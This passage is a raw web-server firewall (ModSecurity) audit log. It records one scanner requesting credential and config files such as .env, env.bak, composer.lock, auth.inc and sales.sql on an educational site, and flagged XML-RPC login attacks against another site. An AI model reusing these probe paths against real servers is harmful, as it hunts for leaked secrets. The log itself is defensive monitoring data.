no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=72554a130cecf24c2136b9a39ef49fe81750020460; expires=Sun, 15 Jun 2025 21:47:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c7f3f95e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/courrier/.env"] [unique_id "aE8xa0aRoH9PZO5fwRnivAAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020459579191 675282 (- - -) Stopwatch2: 1750020459579191 675282; combined=1873, p1=368, p2=1424, p3=0, p4=0, p5=81, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c7f3f95e-Z-- --57cd447d-A-- [16/Jun/2025:02:17:46.257927 +0530] aE8xcTW73rwPI0SU-ijueAAAAAA 128.199.112.101 59690 127.0.0.1 7081 --57cd447d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --57cd447d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --57cd447d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8xcTW73rwPI0SU-ijueAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020465285826 972156 (- - -) Stopwatch2: 1750020465285826 972156; combined=2344, p1=350, p2=1577, p3=41, p4=62, p5=206, sr=94, sw=108, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --57cd447d-Z-- --924cab78-A-- [16/Jun/2025:02:17:56.741677 +0530] aE8xfM0RsCO0eBtdhx6-6wAAAAg 185.177.72.210 41950 127.0.0.1 7081 --924cab78-B-- GET /:5000/docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --924cab78-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bc5a2dec8ab9922c875d4151fbb147bc1750020476; expires=Sun, 15 Jun 2025 21:47:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --924cab78-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/docker/.env"] [unique_id "aE8xfM0RsCO0eBtdhx6-6wAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020476018746 723018 (- - -) Stopwatch2: 1750020476018746 723018; combined=2521, p1=465, p2=1964, p3=0, p4=0, p5=92, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --924cab78-Z-- --31f2d179-A-- [16/Jun/2025:02:17:58.682229 +0530] aE8xfk-pZ3B--SoGku84MgAAABE 185.177.72.210 42018 127.0.0.1 7081 --31f2d179-B-- GET /:8008/tmp/env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --31f2d179-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9340cc2f7c86baa7b2ef91a47e9baa991750020478; expires=Sun, 15 Jun 2025 21:47:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --31f2d179-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:8008/tmp/env.bak"] [unique_id "aE8xfk-pZ3B--SoGku84MgAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020478038157 644135 (- - -) Stopwatch2: 1750020478038157 644135; combined=1982, p1=321, p2=1550, p3=0, p4=0, p5=110, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --31f2d179-Z-- --4964334b-A-- [16/Jun/2025:02:18:03.738024 +0530] aE8xgzW73rwPI0SU-ijufwAAAAA 185.177.72.210 52066 127.0.0.1 7081 --4964334b-B-- GET /blob/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4964334b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5872c79091c9aebb11797253f28fbb811750020483; expires=Sun, 15 Jun 2025 21:48:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4964334b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/blob/.env"] [unique_id "aE8xgzW73rwPI0SU-ijufwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020483073521 664567 (- - -) Stopwatch2: 1750020483073521 664567; combined=2030, p1=392, p2=1528, p3=0, p4=0, p5=110, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4964334b-Z-- --f9f2a155-A-- [16/Jun/2025:02:18:12.065347 +0530] aE8xi0-pZ3B--SoGku84OAAAABE 185.177.72.210 49182 127.0.0.1 7081 --f9f2a155-B-- GET /local/composer.lock HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f9f2a155-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=439a301666c14bcb225f57aaeafdc0791750020491; expires=Sun, 15 Jun 2025 21:48:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f9f2a155-H-- Message: Warning. Matched phrase "/composer.lock" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/composer.lock" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/local/composer.lock"] [unique_id "aE8xi0-pZ3B--SoGku84OAAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020491393264 672167 (- - -) Stopwatch2: 1750020491393264 672167; combined=2079, p1=373, p2=1602, p3=0, p4=0, p5=103, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f9f2a155-Z-- --72ce061d-A-- [16/Jun/2025:02:18:20.361967 +0530] aE8xk3wizUED0-SK4eRHdQAAAAE 185.177.72.210 56696 127.0.0.1 7081 --72ce061d-B-- GET /temanr9/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --72ce061d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7356bd34ebaad58e1d9b1566e40130931750020500; expires=Sun, 15 Jun 2025 21:48:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --72ce061d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/temanr9/.env"] [unique_id "aE8xk3wizUED0-SK4eRHdQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020499695733 666297 (- - -) Stopwatch2: 1750020499695733 666297; combined=1887, p1=360, p2=1428, p3=0, p4=0, p5=98, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --72ce061d-Z-- --2939e476-A-- [16/Jun/2025:02:18:22.454201 +0530] aE8xlYv0YhcYGG7mzIplzAAAABU 185.177.72.210 56794 127.0.0.1 7081 --2939e476-B-- GET /:8888/new/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2939e476-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=17aac48cd5809af4eb30a1372b29f0411750020502; expires=Sun, 15 Jun 2025 21:48:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2939e476-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/new/.env"] [unique_id "aE8xlYv0YhcYGG7mzIplzAAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020501704640 749627 (- - -) Stopwatch2: 1750020501704640 749627; combined=154761, p1=305, p2=848, p3=0, p4=0, p5=76848, sr=76, sw=0, l=0, gc=76760 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2939e476-Z-- --25580443-A-- [16/Jun/2025:02:18:23.353778 +0530] aE8xlkaRoH9PZO5fwRni0gAAAAw 185.177.72.210 56858 127.0.0.1 7081 --25580443-B-- GET /backups/.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --25580443-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=85632f1c35f7ab88e46b6d28ea1df1aa1750020503; expires=Sun, 15 Jun 2025 21:48:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --25580443-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backups/.env.test"] [unique_id "aE8xlkaRoH9PZO5fwRni0gAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020502698565 655304 (- - -) Stopwatch2: 1750020502698565 655304; combined=1926, p1=369, p2=1434, p3=0, p4=0, p5=122, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --25580443-Z-- --0e5c2402-A-- [16/Jun/2025:02:18:27.638558 +0530] aE8xmiHEjD4mqWjYVm13pQAAABM 185.177.72.210 57082 127.0.0.1 7081 --0e5c2402-B-- GET /codenames-frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0e5c2402-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6fb3bfcc043fdadd097596fca027abcd1750020507; expires=Sun, 15 Jun 2025 21:48:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0e5c2402-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/codenames-frontend/.env"] [unique_id "aE8xmiHEjD4mqWjYVm13pQAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020506921303 717318 (- - -) Stopwatch2: 1750020506921303 717318; combined=1720, p1=386, p2=1240, p3=0, p4=0, p5=94, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0e5c2402-Z-- --32f9ce0a-A-- [16/Jun/2025:02:18:30.314476 +0530] aE8xndxCjYf3vhjKXItuzgAAAA8 185.177.72.210 40966 127.0.0.1 7081 --32f9ce0a-B-- GET /linux/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --32f9ce0a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=36181adb7c6d671c8fd5ee9212ec444a1750020510; expires=Sun, 15 Jun 2025 21:48:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --32f9ce0a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/linux/.env"] [unique_id "aE8xndxCjYf3vhjKXItuzgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020509653141 661407 (- - -) Stopwatch2: 1750020509653141 661407; combined=2505, p1=529, p2=1889, p3=0, p4=0, p5=87, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --32f9ce0a-Z-- --59089a2d-A-- [16/Jun/2025:02:18:46.296116 +0530] aE8xrXwizUED0-SK4eRHgQAAAAE 128.199.112.101 40026 127.0.0.1 7081 --59089a2d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 507 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --59089a2d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --59089a2d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8xrXwizUED0-SK4eRHgQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020525365617 930577 (- - -) Stopwatch2: 1750020525365617 930577; combined=2521, p1=507, p2=1507, p3=52, p4=82, p5=237, sr=125, sw=136, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --59089a2d-Z-- --8b5b820e-A-- [16/Jun/2025:02:18:57.409443 +0530] aE8xuFfWRcme38U-qk7oOQAAAAI 185.177.72.210 40550 127.0.0.1 7081 --8b5b820e-B-- GET /auth.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8b5b820e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a6859dea585e2066c21681656e5779131750020537; expires=Sun, 15 Jun 2025 21:48:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8b5b820e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/auth.inc"] [unique_id "aE8xuFfWRcme38U-qk7oOQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020536763496 646050 (- - -) Stopwatch2: 1750020536763496 646050; combined=1742, p1=345, p2=1274, p3=0, p4=0, p5=123, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8b5b820e-Z-- --f8078073-A-- [16/Jun/2025:02:19:06.732829 +0530] aE8xwlfWRcme38U-qk7oPQAAAAI 185.177.72.210 33162 127.0.0.1 7081 --f8078073-B-- GET /sales.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f8078073-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ca9d25d91cffd6bfcb996c12ec79713b1750020546; expires=Sun, 15 Jun 2025 21:49:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f8078073-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri 